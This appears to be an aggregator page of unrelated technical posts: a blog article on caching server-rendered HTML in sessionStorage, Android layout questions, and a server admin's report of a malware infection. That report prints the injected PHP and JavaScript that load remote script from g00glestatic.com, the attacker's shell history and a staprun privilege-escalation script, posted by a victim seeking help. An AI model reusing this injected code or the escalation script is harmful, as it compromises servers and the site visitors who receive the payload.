…you end up back at the top of the list - the scroll position, the current selection in some cases even filters conditions - all gone with the wind. You've left behind the state of the list and are starting from scratch in your browsing of the list from the top. Not cool! Sound familiar? This a pretty common scenario with server rendered HTML content where it's so common to display lists to drill into, only to lose state in the process of returning back to the original list. Look at just about any traditional forums application, or even StackOverFlow to see what I mean here. Scroll down a bit to look at a post or entry, drill in then use the bread crumbs or tab to go back… In some cases returning to the top of a list is not a big deal. On StackOverFlow that sort of works because content is turning around so quickly you probably want to actually look at the top posts. Not always though - if you're browsing through a list of search topics you're interested in and drill in there's no way back to that position. Essentially anytime you're actively browsing the items in the list, that's when state becomes important and if it's not handled the user experience can be really disrupting. Content Caching If you're building client centric SPA style applications this is a fairly easy to solve problem - you tend to render the list once and then update the page content to overlay the detail content, only hiding the list temporarily until it's used again later. It's relatively easy to accomplish this simply by hiding content on the page and later making it visible again. But if you use server rendered content, hanging on to all the detail like filters, selections and scroll position is not quite as easy. Or is it??? This is where sessionStorage comes in handy. What if we just save the rendered content of a previous page, and then restore it when we return to this page based on a special flag that tells us to use the cached version? Let's see how we can do this. A real World Use Case Recently my local ISP asked me to help out with updating an ancient classifieds application. They had a very busy, local classifieds app that was originally an ASP classic application. The old app was - wait for it: frames based - and even though I lobbied against it, the decision was made to keep the frames based layout to allow rapid browsing of the hundreds of posts that are made on a daily basis. The primary reason they wanted this was precisely for the ability to quickly browse content item by item. While I personally hate working with Frames, I have to admit that the UI actually works well with the frames layout as long as you're running on a large desktop screen. You can check out the frames based desktop site here: http://classifieds.gorge.net/ However when I rebuilt the app I also added a secondary view that doesn't use frames. The main reason for this of course was for mobile displays which work horribly with frames. So there's a somewhat mobile friendly interface to the interface, which ditches the frames and uses some responsive design tweaking for mobile capable operation: http://classifeds.gorge.net/mobile  (or browse the base url with your browser width under 800px)   Here's what the mobile, non-frames view looks like:   As you can see this means that the list of classifieds posts now is a list and there's a separate page for drilling down into the item. And of course… originally we ran into that usability issue I mentioned earlier where the browse, view detail, go back to the list cycle resulted in lost list state. Originally in mobile mode you scrolled through the list, found an item to look at and drilled in to display the item detail. Then you clicked back to the list and BAM - you've lost your place. Because there are so many items added on a daily basis the full list is never fully loaded, but rather there's a "Load Additional Listings"  entry at the button. Not only did we originally lose our place when coming back to the list, but any 'additionally loaded' items are no longer there because the list was now rendering  as if it was the first page hit. The additional listings, and any filters, the selection of an item all were lost. Major Suckage! Using Client SessionStorage to cache Server Rendered Content To work around this problem I decided to cache the rendered page content from the list in SessionStorage. Anytime the list renders or is updated with Load Additional Listings, the page HTML is cached and stored in Session Storage. Any back links from the detail page or the login or write entry forms then point back to the list page with a back=true query string parameter. If the server side sees this parameter it doesn't render the part of the page that is cached. Instead the client side code retrieves the data from the sessionState cache and simply inserts it into the page. It sounds pretty simple, and the overall the process is really easy, but there are a few gotchas that I'll discuss in a minute. But first let's look at the implementation. Let's start with the server side here because that'll give a quick idea of the doc structure. As I mentioned the server renders data from an ASP.NET MVC view. On the list page when returning to the list page from the display page (or a host of other pages) looks like this: https://classifieds.gorge.net/list?back=True The query string value is a flag, that indicates whether the server should render the HTML. Here's what the top level MVC Razor view for the list page looks like:@model MessageListViewModel @{ ViewBag.Title = "Classified Listing"; bool isBack = !string.IsNullOrEmpty(Request.QueryString["back"]); } <form method="post" action="@Url.Action("list")"> <div id="SizingContainer"> @if (!isBack) { @Html.Partial("List_CommandBar_Partial", Model) <div id="PostItemContainer" class="scrollbox" xstyle="-webkit-overflow-scrolling: touch;"> @Html.Partial("List_Items_Partial", Model) @if (Model.RequireLoadEntry) { <div class="postitem loadpostitems" style="padding: 15px;"> <div id="LoadProgress" class="smallprogressright"></div> <div class="control-progress"> Load additional listings... </div> </div> } </div> } </div> </form> As you can see the query string triggers a conditional block that if set is simply not rendered. The content inside of #SizingContainer basically holds  the entire page's HTML sans the headers and scripts, but including the filter options and menu at the top. In this case this makes good sense - in other situations the fact that the menu or filter options might be dynamically updated might make you only cache the list rather than essentially the entire page. In this particular instance all of the content works and produces the proper result as both the list along with any filter conditions in the form inputs are restored. Ok, let's move on to the client. On the client there are two page level functions that deal with saving and restoring state. Like the counter example I showed earlier, I like to wrap the logic to save and restore values from sessionState into a separate function because they are almost always used in several places.page.saveData = function(id) { if (!sessionStorage) return; var data = { id: id, scroll: $("#PostItemContainer").scrollTop(), html: $("#SizingContainer").html() }; sessionStorage.setItem("list_html",JSON.stringify(data)); }; page.restoreData = function() { if (!sessionStorage) return; var data = sessionStorage.getItem("list_html"); if (!data) return null; return JSON.parse(data); }; The data that is saved is an object which contains an ID which is the selected element when the user clicks and a scroll position. These two values are used to reset the scroll position when the data is used from the cache. Finally the html from the #SizingContainer element is stored, which makes for the bulk of the document's HTML. In this application the HTML captured could be a substantial bit of data. If you recall, I mentioned that the server side code renders a small chunk of data initially and then gets more data if the user reads through the first 50 or so items. The rest of the items retrieved can be rather sizable. Other than the JSON deserialization that's Ok. Since I'm using SessionStorage the storage space has no immediate limits. Next is the core logic to handle saving and restoring the page state. At first though this would seem pretty simple, and in some cases it might be, but as the following code demonstrates there are a few gotchas to watch out for. Here's the relevant code I use to save and restore:$( function() { … var isBack = getUrlEncodedKey("back", location.href); if (isBack) { // remove the back key from URL setUrlEncodedKey("back", "", location.href); var data = page.restoreData(); // restore from sessionState if (!data) { // no data - force redisplay of the server side default list window.location = "list"; return; } $("#SizingContainer").html(data.html); var el = $(".postitem[data-id=" + data.id + "]"); $(".postitem").removeClass("highlight"); el.addClass("highlight"); $("#PostItemContainer").scrollTop(data.scroll); setTimeout(function() { el.removeClass("highlight"); }, 2500); } else if (window.noFrames) page.saveData(null); // save when page loads $("#SizingContainer").on("click", ".postitem", function() { var id = $(this).attr("data-id"); if (!id) return true; if (window.noFrames) page.saveData(id); var contentFrame = window.parent.frames["Content"]; if (contentFrame) contentFrame.location.href = "show/" + id; else window.location.href = "show/" + id; return false; }); … The code starts out by checking for the back query string flag which triggers restoring from the client cache. If cached the cached data structure is read from sessionStorage. It's important here to check if data was returned. If the user had back=true on the querystring but there is no cached data, he likely bookmarked this page or otherwise shut down the browser and came back to this URL. In that case the server didn't render any detail and we have no cached data, so all we can do is redirect to the original default list view using window.location. If we continued the page would render no data - so make sure to always check the cache retrieval result. Always! If there is data the it's loaded and the data.html data is restored back into the document by simply injecting the HTML back into the document's #SizingContainer element:$("#SizingContainer").html(data.html); It's that simple and it's quite quick even with a fully loaded list of additional items and on a phone. The actual HTML data is stored to the cache on every page load initially and then again when the user clicks on an element to navigate to a particular listing. The former ensures that the client cache always has something in it, and the latter updates with additional information for the selected element. For the click handling I use a data-id attribute on the list item (.postitem) in the list and retrieve the id from that. That id is then used to navigate to the actual entry as well as storing that Id value in the saved cached data. The id is used to reset the selection by searching for the data-id value in the restored elements. The overall process of this save/restore process is pretty straight forward and it doesn't require a bunch of code, yet it yields a huge improvement in the usability of the site on mobile devices (or anybody who uses the non-frames view). Some things to watch out for As easy as it conceptually seems to simply store and retrieve cached content, you have to be quite aware what type of content you are caching. The code above is all that's specific to cache/restore cycle and it works, but it took a few tweaks to the rest of the script code and server code to make it all work. There were a few gotchas that weren't immediately obvious. Here are a few things to pay attention to: Event Handling Logic Timing of manipulating DOM events Inline Script Code Bookmarking to the Cache Url when no cache exists Do you have inline script code in your HTML? That script code isn't going to run if you restore from cache and simply assign or it may not run at the time you think it would normally in the DOM rendering cycle. JavaScript Event Hookups The biggest issue I ran into with this approach almost immediately is that originally I had various static event handlers hooked up to various UI elements that are now cached. If you have an event handler like:$("#btnSearch").click( function() {…}); that works fine when the page loads with server rendered HTML, but that code breaks when you now load the HTML from cache. Why? Because the elements you're trying to hook those events to may not actually be there - yet. Luckily there's an easy workaround for this by using deferred events. With jQuery you can use the .on() event handler instead:$("#SelectionContainer").on("click","#btnSearch", function() {…}); which monitors a parent element for the events and checks for the inner selector elements to handle events on. This effectively defers to runtime event binding, so as more items are added to the document bindings still work. For any cached content use deferred events. Timing of manipulating DOM Elements Along the same lines make sure that your DOM manipulation code follows the code that loads the cached content into the page so that you don't manipulate DOM elements that don't exist just yet. Ideally you'll want to check for the condition to restore cached content towards the top of your script code, but that can be tricky if you have components or other logic that might not all run in a straight line. Inline Script Code Here's another small problem I ran into: I use a DateTime Picker widget I built a while back that relies on the jQuery date time picker. I also created a helper function that allows keyboard date navigation into it that uses JavaScript logic. Because MVC's limited 'object model' the only way to embed widget content into the page is through inline script. This code broken when I inserted the cached HTML into the page because the script code was not available when the component actually got injected into the page. As the last bullet - it's a matter of timing. There's no good work around for this - in my case I pulled out the jQuery date picker and relied on native <input type="date" /> logic instead - a better choice these days anyway, especially since this view is meant to be primarily to serve mobile devices which actually support date input through the browser (unlike desktop browsers of which only WebKit seems to support it). Bookmarking Cached Urls When you cache HTML content you have to make a decision whether you cache on the client and also not render that same content on the server. In the Classifieds app I didn't render server side content so if the user comes to the page with back=True and there is no cached content I have to a have a Plan B. Typically this happens when somebody ends up bookmarking the back URL. The easiest and safest solution for this scenario is to ALWAYS check the cache result to make sure it exists and if not have a safe URL to go back to - in this case to the plain uncached list URL which amounts to effectively redirecting. This seems really obvious in hindsight, but it's easy to overlook and not see a problem until much later, when it's not obvious at all why the page is not rendering anything. Don't use <body> to replace Content Since we're practically replacing all the HTML in the page it may seem tempting to simply replace the HTML content of the <body> tag. Don't. The body tag usually contains key things that should stay in the page and be there when it loads. Specifically script tags and elements and possibly other embedded content. It's best to create a top level DOM element specifically as a placeholder container for your cached content and wrap just around the actual content you want to replace. In the app above the #SizingContainer is that container. Other Approaches The approach I've used for this application is kind of specific to the existing server rendered application we're running and so it's just one approach you can take with caching. However for server rendered content caching this is a pattern I've used in a few apps to retrofit some client caching into list displays. In this application I took the path of least resistance to the existing server rendering logic. Here are a few other ways that come to mind: Using Partial HTML Rendering via AJAXInstead of rendering the page initially on the server, the page would load empty and the client would render the UI by retrieving the respective HTML and embedding it into the page from a Partial View. This effectively makes the initial rendering and the cached rendering logic identical and removes the server having to decide whether this request needs to be rendered or not (ie. not checking for a back=true switch). All the logic related to caching is made on the client in this case. Using JSON Data and Client RenderingThe hardcore client option is to do the whole UI SPA style and pull data from the server and then use client rendering or databinding to pull the data down and render using templates or client side databinding with knockout/angular et al. As with the Partial Rendering approach the advantage is that there's no difference in the logic between pulling the data from cache or rendering from scratch other than the initial check for the cache request. Of course if the app is a  full on SPA app, then caching may not be required even - the list could just stay in memory and be hidden and reactivated. I'm sure there are a number of other ways this can be handled as well especially using  AJAX. AJAX rendering might simplify the logic, but it also complicates search engine optimization since there's no content loaded initially. So there are always tradeoffs and it's important to look at all angles before deciding on any sort of caching solution in general. State of the Session SessionState and LocalStorage are easy to use in client code and can be integrated even with server centric applications to provide nice caching features of content and data. In this post I've shown a very specific scenario of storing HTML content for the purpose of remembering list view data and state and making the browsing experience for lists a bit more friendly, especially if there's dynamically loaded content involved. If you haven't played with sessionStorage or localStorage I encourage you to give it a try. There's a lot of cool stuff that you can do with this beyond the specific scenario I've covered here… Resources Overview of localStorage (also applies to sessionStorage) Web Storage Compatibility Modernizr Test Suite© Rick Strahl, West Wind Technologies, 2005-2013Posted in JavaScript  HTML5  ASP.NET  MVC   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

    Read the article

  • Google, typography, and cognitive fluency for persuasion

    - by Roger Hart
    Cognitive fluency is - roughly - how easy it is to think about something. Mere Exposure (or familiarity) effects are basically about reacting more favourably to things you see a lot. Which is part of why marketers in generic spaces like insipid mass-market lager will spend quite so much money on getting their logo daubed about the place; or that guy at the bus stop starts to look like a dating prospect after a month or two. Recent thinking suggests that exposure effects likely spin off cognitive fluency. We react favourably to things that are easier to think about. I had to give tech support to an older relative recently, and suggested they Google the problem. They were confused. They could not, apparently, Google the problem, because part of it was that their Google toolbar had mysteriously vanished. Once I'd finished trying not to laugh, I started thinking about typography. This is going somewhere, I promise. Google is a ubiquitous brand. Heck, it's a verb, and their recent, jaw-droppingly well constructed Paris advert is more or less about that ubiquity. It trades on Google's integration into any information-seeking behaviour. But, as my tech support encounter suggests, people settle into comfortable patterns of thinking about things. They build schemas, and altering them can take work. Maybe the ubiquity even works to cement that. Alongside their online effort, Google is running billboard campaigns to advertise Chrome, a free product in a crowded space. They are running these ads in some kind of kooky Calibri / Comic Sans hybrid. Now, at first it seems odd that one of the world's more ubiquitous brands needs to run a big print campaign in public places - surely they have all the fluency they need? Well, not so much. Chrome, after all, is not the same as their core product, so there's some basic awareness work to do, and maybe a whole new batch of exposure effect to try and grab. But why the typeface? It's heavily foregrounded, and the ads are extremely textual. Plus, don't we all know that jovial, off-beat fonts look unprofessional, or something? There's a whole bunch of people who want (often rightly) to ban Comic Sans I wonder, though. Are Google trying to subtly disrupt cognitive fluency? There's an interesting paper (pdf) about - among other things - the effects of typography on they way people answer survey questions. Participants given the slightly harder to read question gave more abstract answers. The paper references other work suggesting that generally speaking, less-fluent question framing elicits more considered answers. The Chrome ad typeface is less fluent for print. Reactions may therefore be more considered, abstract, and disruptive. Is that, in fact, what Google need? They have brand ubiquity, but they want here to change accustomed behaviour, to get people to think about changing their browser. Is this actually a very elegant piece of persuasive information design? If you think about their "what is a browser?" vox pop research video, there's certainly a perceptual barrier they're going to have to tackle somehow.

    Read the article

  • TextBox Inside TabHost isn't clickable

    - by agam360
    Here is my code:(main.xml -layout) <TabHost android:id="@android:id/tabhost" android:layout_width="fill_parent" android:layout_height="fill_parent" > <LinearLayout android:id="@+id/linearLayout2" android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" > <TabWidget android:id="@android:id/tabs" android:layout_width="fill_parent" android:layout_height="wrap_content" > </TabWidget> <FrameLayout android:id="@android:id/tabcontent" android:layout_width="fill_parent" android:layout_height="fill_parent"> <MultiAutoCompleteTextView android:id="@+id/txtCode" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="0.25" android:capitalize="none" android:focusable="true" android:focusableInTouchMode="false" android:gravity="top|left" android:text="@string/strtxtCode" android:textSize="26dp" android:textStyle="bold" android:typeface="normal" /> <MultiAutoCompleteTextView android:id="@+id/txtCodeHTML" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_weight="0.25" android:capitalize="none" android:focusable="true" android:focusableInTouchMode="false" android:gravity="top|left" android:text="@string/strtxtCode2" android:textSize="26dp" android:textStyle="bold" android:typeface="normal" /> </FrameLayout> </LinearLayout> </TabHost> When I try to click(touch) the text-box, it does nothing. What should I do in order to fix this?

    Read the article

  • Android how to make button text bold when pressed or focussed

    - by stealthcopter
    I want to change the text inside a button to be bold when the button is highlighted or pressed. I currently use a xml file to define the button and use the XML to change how it looks when pressed but I would like to do this without using an image. <?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android"> <item android:state_focused="true" android:state_pressed="false" android:drawable="@drawable/reset_hover" /> <item android:state_focused="true" android:state_pressed="true" android:drawable="@drawable/reset_hover" /> <item android:state_focused="false" android:state_pressed="true" android:drawable="@drawable/reset_hover" /> <item android:drawable="@drawable/reset" /> </selector> I tried using something like the following, but it doesn't seem to ever get called. final Button btn_reset = (Button) findViewById(R.id.btn_reset); btn_reset.setOnClickListener(this); btn_reset.setOn(new OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if (hasFocus){btn_reset.setTypeface(null, Typeface.BOLD);} else{btn_reset.setTypeface(null, Typeface.NORMAL);} } });

    Read the article

  • Android: Is it possible to have multiple styles inside a TextView?

    - by Legend
    I was wondering if its possible to set multiple styles for different pieces of text inside a TextView. For instance, I am setting the text as follows: descbox.setText(line1 + "\n" + line2 + "\n" + word1 + "\t" + word2 + "\t" + word3); Now, is it possible to have a different style for each text element? I mean bold for line1, normal for word1 and so on... I found this http://developer.android.com/guide/appendix/faq/commontasks.html#selectingtext: // Get our EditText object. EditText vw = (EditText)findViewById(R.id.text); // Set the EditText's text. vw.setText("Italic, highlighted, bold."); // If this were just a TextView, we could do: // vw.setText("Italic, highlighted, bold.", TextView.BufferType.SPANNABLE); // to force it to use Spannable storage so styles can be attached. // Or we could specify that in the XML. // Get the EditText's internal text storage Spannable str = vw.getText(); // Create our span sections, and assign a format to each. str.setSpan(new StyleSpan(android.graphics.Typeface.ITALIC), 0, 7, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); str.setSpan(new BackgroundColorSpan(0xFFFFFF00), 8, 19, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); str.setSpan(new StyleSpan(android.graphics.Typeface.BOLD), 21, str.length() - 1, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); But it uses position numbers inside the text. Is there a cleaner way to do this?

    Read the article

  • Androids ExpandableListView - where to put the button listener for buttons that are children

    - by CommonKnowledge
    I have been playing around a lot with the ExpandableListView and I cannot figure out where to add the button listeners for the button that will be the children in the view. I did manage to get a button listener working that uses getChildView() below, but it seems to be the same listener for all the buttons. The best case scenario is that I would be able to implement the button listeners in the class that instantiates the ExpandableListAdapter class, and not have to put the listeners in the actual ExpandableListAdapter class. At this point I don't even know if that is possible I have been experimenting with this tutorial/code: HERE getChildView() @Override public View getChildView(int set_new, int child_position, boolean view, View view1, ViewGroup view_group1) { ChildHolder childHolder; if (view1 == null) { view1 = LayoutInflater.from(info_context).inflate(R.layout.list_group_item_lv, null); childHolder = new ChildHolder(); childHolder.section_btn = (Button)view1.findViewById(R.id.item_title); view1.setTag(childHolder); childHolder.section_btn.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Toast.makeText(info_context, "button pushed", Toast.LENGTH_SHORT).show(); } }); }else { childHolder = (ChildHolder) view1.getTag(); } childHolder.section_btn.setText(children_collection.get(set_new).GroupItemCollection.get(child_position).section); Typeface tf = Typeface.createFromAsset(info_context.getAssets(), "fonts/AGENCYR.TTF"); childHolder.section_btn.setTypeface(tf); return view1; } Any help would be much appreciated. Thank you and I will be standing by.

    Read the article

  • Mass targeted malware installed - g00glestatic.com [closed]

    - by Silver89
    Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

    Read the article

  • uploading a python site to httpdocs?

    - by daniel Crabbe
    OK - so we've agreed to host a python site, got the files and not sure where to go next. We use a dedicated server and manage it mainly with plesk which has a tick box for a python support but not sure what this does. This is all the info i have from previous hosts; 10,000 ft overview The site is intended to run on a Linux host, specifically Ubuntu Server (tho it should be fine on most distros). The web framework is CherryPy ( http://cherrypy.org/ ), which is a Python based framework. There is no database as such, instead the data is kept in JS files and loaded by the front end. nicholasbarker.com.c6a4facf0192/www/js/video_content_items.js is a prime example of this. The main site templates are in nicholasbarker.com.c6a4facf0192/www/templates/ They are Cheetah templates ( http://www.cheetahtemplate.org/ ) and here's the file structure i've been sent - Could some explain to me how i'd go about uploading and running this site... Any help welcome! Dc

    Read the article

  • Local network cache of PHP and Apache2 on Win Server 2008 R2

    - by Ahmed Benlahsen
    Software configuration : I have a new server with Windows Server 2008 R2 installed via VMWare. I have installed Apache2.2, PHP5.2 and MySQL5.5 as separate packages. Issue : On my first installation of my application, all works great. When I updated some JS and CSS files and accessed my application again from a PC on local network, I got the old JS and CSS versions. When I access the same application on local server I got the latest versions of those files. Link of my application on local server is : http://localhost/BADIL Link of my application from local network is : http://LOCAL_SERVER_IP/BADIL I think that must be some cache but I don't know where. Maybe on Win Server 2008 R2 or on VMWare? The question is: Why, when I access my application on the server, everything works fine, but when I access the same application from a local network, I do not see the updated versions of JS and CSS files?

    Read the article

  • Nginx + PHP-FPM on Centos 6.5 gives me 502 Bad Gateway (fpm error: unable to read what child say: Bad file descriptor)

    - by Latheesan Kanes
    I am setting up a standard LEMP stack. My current setup is giving me the following error: 502 Bad Gateway This is what is currently installed on my server: Here's the configurations I've created/updated so far, can some one take a look at the following and see where the error might be? I've already checked my logs, there's nothing in there (http://i.imgur.com/iRq3ksb.png). And I saw the following in /var/log/php-fpm/error.log file. sidenote: both the nginx and php-fpm has been configured to run under a local account called www-data and the following folders exits on the server nginx.conf global nginx configuration user www-data; worker_processes 6; worker_rlimit_nofile 100000; error_log /var/log/nginx/error.log crit; pid /var/run/nginx.pid; events { worker_connections 2048; use epoll; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; # cache informations about FDs, frequently accessed files can boost performance open_file_cache max=200000 inactive=20s; open_file_cache_valid 30s; open_file_cache_min_uses 2; open_file_cache_errors on; # to boost IO on HDD we can disable access logs access_log off; # copies data between one FD and other from within the kernel # faster then read() + write() sendfile on; # send headers in one peace, its better then sending them one by one tcp_nopush on; # don't buffer data sent, good for small data bursts in real time tcp_nodelay on; # server will close connection after this time keepalive_timeout 60; # number of requests client can make over keep-alive -- for testing keepalive_requests 100000; # allow the server to close connection on non responding client, this will free up memory reset_timedout_connection on; # request timed out -- default 60 client_body_timeout 60; # if client stop responding, free up memory -- default 60 send_timeout 60; # reduce the data that needs to be sent over network gzip on; gzip_min_length 10240; gzip_proxied expired no-cache no-store private auth; gzip_types text/plain text/css text/xml text/javascript application/x-javascript application/xml; gzip_disable "MSIE [1-6]\."; # Load vHosts include /etc/nginx/conf.d/*.conf; } conf.d/www.domain.com.conf my vhost entry ## Nginx php-fpm Upstream upstream wwwdomaincom { server unix:/var/run/php-fcgi-www-data.sock; } ## Global Config client_max_body_size 10M; server_names_hash_bucket_size 64; ## Web Server Config server { ## Server Info listen 80; server_name domain.com *.domain.com; root /home/www-data/public_html; index index.html index.php; ## Error log error_log /home/www-data/logs/nginx-errors.log; ## DocumentRoot setup location / { try_files $uri $uri/ @handler; expires 30d; } ## These locations would be hidden by .htaccess normally #location /app/ { deny all; } ## Disable .htaccess and other hidden files location /. { return 404; } ## Magento uses a common front handler location @handler { rewrite / /index.php; } ## Forward paths like /js/index.php/x.js to relevant handler location ~ .php/ { rewrite ^(.*.php)/ $1 last; } ## Execute PHP scripts location ~ \.php$ { try_files $uri =404; expires off; fastcgi_read_timeout 900; fastcgi_pass wwwdomaincom; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } ## GZip Compression gzip on; gzip_comp_level 8; gzip_min_length 1000; gzip_proxied any; gzip_types text/plain application/xml text/css text/js application/x-javascript; } /etc/php-fpm.d/www-data.conf my php-fpm pool config ## Nginx php-fpm Upstream upstream wwwdomaincom { server unix:/var/run/php-fcgi-www-data.sock; } ## Global Config client_max_body_size 10M; server_names_hash_bucket_size 64; ## Web Server Config server { ## Server Info listen 80; server_name domain.com *.domain.com; root /home/www-data/public_html; index index.html index.php; ## Error log error_log /home/www-data/logs/nginx-errors.log; ## DocumentRoot setup location / { try_files $uri $uri/ @handler; expires 30d; } ## These locations would be hidden by .htaccess normally #location /app/ { deny all; } ## Disable .htaccess and other hidden files location /. { return 404; } ## Magento uses a common front handler location @handler { rewrite / /index.php; } ## Forward paths like /js/index.php/x.js to relevant handler location ~ .php/ { rewrite ^(.*.php)/ $1 last; } ## Execute PHP scripts location ~ \.php$ { try_files $uri =404; expires off; fastcgi_read_timeout 900; fastcgi_pass wwwdomaincom; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } ## GZip Compression gzip on; gzip_comp_level 8; gzip_min_length 1000; gzip_proxied any; gzip_types text/plain application/xml text/css text/js application/x-javascript; } I've got a file in /home/www-data/public_html/index.php with the code <?php phpinfo(); ?> (file uploaded as user www-data).

    Read the article

  • Reducing Loading of Advertisers Scripts

    - by HollerTrain
    I have a website (http://dev2.liquor.com) that loads very quickly when I remove the advertisers and tracking scripts our partners give us. Of course we need to reduce page load time from 6 seconds to 1 second, and I see that it is 100% all of our external js files for partner tracking, ads, etc. I have been banging my head against the wall trying to find alternate ways to load/compress/serve the multidue of js the user needs to download. I can easily compress/minify mine, but someone else's that is not on our server is becoming hard to do so. The best I can do is get a C on YSlow, and each suggestion they give me pertains to my stupid tracking js scripts! Any help would be greatly appreciated.

    Read the article

  • Creating a seperate static content site for IIS7 and MVC

    - by JK01
    With reference to this serverfault blog post: A Few Speed Improvements where it talks about how static content for stackexchange is served from a separate cookieless domain... How would someone go about doing this on IIS7.5 for a ASP.NET MVC site? The plan so far: Register domain eg static.com, create a new website in IIS Manually copy the js / css / images folders from MVC as is so that they have the same paths on the new server Enable IIS gzip settings (js/css = high compression, images = none) Set caching with far future expiry dates <clientCache cacheControlCustom="public" /> in the web.config Never set any cookies on the static.com site Combine and minimize js / css Auto deploy changes in static content with WebDeploy Is this plan correct? And how can you use WebDeploy to deploy the whole web app to one server and then only the static items to another? I can see there is a similar question, but for apache: Creating a cookie-free domain to serve static content so it doesn't apply

    Read the article

  • On apache how do I allow access to only to a single file?

    - by sriram
    I have a apache machine which is serving a .js file. That file should be the only file that need to seen. I have configured to do so in my apache like this : <Location /var/www/test/test.js> Order allow,deny Allow from all </Location> The site address is test.in which points to test.js file in /var/www/test directory. That is working fine. But I wish when the user tries to hit test.in/someurl (which is not available) or some other url than test.in need to give an message with 401 error. How do I do that?

    Read the article

  • IE / Facebook Issue : Why Facebook Like box not display in Internet Explorer6 - IE8 ?

    - by Vaibhav Bhalke
